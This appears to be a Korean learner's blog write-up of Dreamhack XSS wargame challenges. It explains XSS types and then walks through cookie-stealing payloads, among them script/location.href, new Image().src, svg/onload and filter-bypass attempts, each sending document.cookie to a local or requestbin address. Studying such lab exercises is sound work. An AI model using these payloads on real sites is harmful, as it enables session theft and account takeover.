이용자가 삽입한 내용을 출력하는 기능에서 주로 발생하는 취약점
->특정 계정의 세션, 쿠키 정보 탈취 가능
Stored XSS: 악성 스크립트가 서버(의 데이터베이스 or 파일)에 저장되고 조회할 때 서버의 응답에 담겨오는 XSS
ex) 게시물과 댓글에 악성 스크립트 포함해 업로드
Reflected XSS: 악성 스크립트가 URL에 삽입되고 악성 스크립트가 담긴 요청을 출력할 때 서버의 응답에 담겨오는 XSS
ex) 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식
-> 검색 결과를 응답에 포함할 때, 검색 문자열에 악성 스크립트가 포함되어 있는 경우
DOM-based XSS: 악성 스크립트가 URL Fragment에 삽입되는 XSS
Universal XSS: 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점, SOP를 우회함.
document.cookie;
👆현재 페이지의 쿠키를 알려줌, return 타입은 String
document.cookie="a=b;";
👆쿠키생성 (a는 key를 b는 value를 뜻함)
new Image().src="공격자의 주소/?cookie="+document.cookie;
👆 new Image는 이미지 생성함수, src는 이미지 주소를 지정해줌
즉, 공격자의 주소로 현재 페이지의 쿠키를 요청함
document.write("블라블라");
👆 이용자 페이지에 '블라블라' 삽입
location.href="주소";
👆
이용자의 위치를 정해놓은 주소로 바꾸어줌, 즉 URL을 반환하거나 업데이트 할 수 있음.
request.args.get("a","");
👆a라는 key가 있다면 a의 value를 반환하고, a라는 key가 없다면 반환값이 없음.
render_template('memo.html', memo=memo_text);
//템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다고 한다.
//왜 HTML 엔티티코드로 변환하여 저장하면 XSS가 발생하지 않는걸까..?
👆template에 저장된 html을 불러오는 함수
코드를 일부분 가져와보자면
@app.route("/")
def index():
return render_template("index.html")
// index라는 html을 반환해준다.
// 그렇지만 render_template로 반환해주었기 때문에 이곳을 통해 XSS를 노리긴 어려워보인다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
//param의 값을 바로 반환해주기에 /vuln을 통해 XSS를 할 수 있을 것 같다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
//memo의 value를 반환해준다.
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
코드를 대충 분석 후, 접속 정보를 통해 웹페이지에 들어가준다.
-vuln(xss) page에 들어가면
alert(1)을 통해 알림창에 1이 뜬다.
-memo에 들어가면
memo?memo=hello를 통해 hello가 출력이 된다.
memo=xss를 넣어보니 그대로 출력됨을 알 수 있었다.

-flag에 들어가면
vuln의

param에 무언가를 작성할 수 있게끔 해놓았다.
앞서 말했듯이
1.XSS는 이용자가 삽입한 내용을 출력하는 기능에서 주로 발생하는 취약점이며
2.코드에서 봤듯이 vuln은 작성한 그대로를 출력하기에
->이 페이지를 통해 공략을 할 수 있을 것 같다.
우선 a를 넣어보면, 알림창에 good이 출력된다.
처음으로 시도해 본 것은 new Image().src="원하는 주소/?cookie="+document.cookie;
였다.
그런데, 잘 되지 않았다..
여러번 시도해보다가 잘 모르겠어서, 드림핵 강의를 다시 수강해보니
location.href와 document.cookie를 이용해 문제를 풀어야 할 것 같다.
script 키워드 안에
location.href = "원하는 주소" + document.cookie;를 이용하면
원하는 주소로 현재 페이지의 쿠키를 요청할 수 있을 것 같다.
<script>location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</script>
이것을 통해 메모장에서 flag를 알아낼 수 있었다.
+추가로 new Image()를 통한게 왜 안되었을까 생각해보다가
/cookie 부분이 틀렸다는 것을 알 수 있었다.
/cookie는 예시였을 뿐, app route(/cookie)는 존재하지 않았기에 애초에 잘못되었던 것이었다.
따라서, 아래와 같이 아까 코드를 살짝 수정해보니 flag가 메모에 잘 출력되었다.
<script>new Image().src = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</script>

제출하면 성공 !
XSS-1과 거의 비슷하지만 코드를 살펴보니,
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
render_template를 통해 return하는 것을 알 수 있다.
이를 통해 변한 것은 script 키워드가 안먹는다는 것이었다.
아무래도 script를 우회하여 공격을 실행해야할 것 같아 여러 방법을 찾아보았다.
1.script안에 script넣기
<scr<script>ipt>location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</scr<script>ipt>
안되었다..ㅎ
2.script의 일부 알파벳을 대문자로 바꿔보기
<sCRipT>location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</ScRiPt>
안된다.
아무래도 script라는 단어 자체가 아예 먹지 않아서 다른 이벤트 실행을 통해 공격을 해주어야 할 것 같았다.
다양하게... 많은 것들을 시도해보다가..

3.svg/onload 태그로 시도해보았다.
내가 참고한 사이트를 남겨놓겠다
https://99-99pit.tistory.com/4
<svg/onload="location.href= 'http://127.0.0.1:8000/memo?memo='+document.cookie">
그 결과 성공...

이 문제를 통해 엄청나게 다양한 우회 방법이 있음을 알게 되었다.
이 문제도 앞의 문제와 비슷하지만 코드에서 살펴보아야 하는 것은
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
script와 on, javascript를 filtering 한다는 것이었다.
1.문자열 겹쳐쓰기->실패
<scr<script>ipt>location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</scr<script>ipt>
2.대문자 섞어쓰기->실패
<sCRipT>location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</sCRipT>
3.다른 태그 이용->실패
https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
참고하믄.. 넘 좋을 것 같다.
그런데 문제가 풀리지 않아서 댓글을 보다가
locati'on'의 on 때문에 계속 우회가 된다는 사실을.. 깨달았다.. 젠장
4.loaction 대신 new Image().src+ 문자열 겹쳐쓰기
location 말고 1번처럼 new Image()를 시도해보았다.
new Image().src = "http://127.0.0.1:8000/memo?memo=" + document.cookie;

그랬더니 성공.. 뭔가 속은 기분...
이 문제는 아까 문제보다 필터링 되는 것이 많다.
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
script와 on, javascript 뿐만 아니라 window, self, this, document, location, (, ), &#을 필터링한다.
태그 뿐만 아니라 &#을 통해 Hex Encoding도 막고,
this와 self를 통해 문자를 이어 붙이는 것도 불가능하다.
ex)this('d'+'ocument')
우선 괄호를 필터링한 것에 대해 우회 방법을 알아보니 백틱(`)이 있었다.
그리고 document만 어떻게든 우회해보면.. 성공할 수 있을 것 같았다.
그래서 script처럼 document를 겹쳐 써봐야겠다는 생각이 들었다.
전에 문제들은 scrscriptipt이렇게 param에 넣어보면 어떤 것이 필터링되는지 확인할 수 있었는데, 이 문제는 약올리듯 filtered!!!를 출력해준다 .. ^^ 한번해보자는거니
eval을 통해 문자열을 묶어줄 수 있대서 해보았다.
3. new Image`.src = "http://127.0.0.1:8000/memo?memo=" + eval'docu'+'ment'`.cookie;
왜 안돼 !!!
다시.. 한번.. filtering되는 문자열을 확인해보자.
"script", "on", "javascript","window", "self", "this", "document", "location", "(", ")", "&#"
다 피해간 것 같은데 아닌가보다 ^;^;^;^;
그렇다믄.. 다른 방법을 시도해야겠다
인코딩을 통해 피해봐야겠다.
Base64를 통해 인코딩 하였다.
5.d만 2번 unicode로 인코딩 해봤는데 실패
new Image().src = "https://tools.dreamhack.games/requestbin/gwjuruh" + \u005C\u0075\u0030\u0030\u0036\u0034ocument.cookie; 인코딩하기
진짜 이것 말고도 많이 시도해봤는데.. 다 실패하면
머 어뜨캐 하라는 거니 !!
폭팔 . . .

집착해봤지만.. 실패..
생각날때마다.. 시도해보갔습니다.. 이만...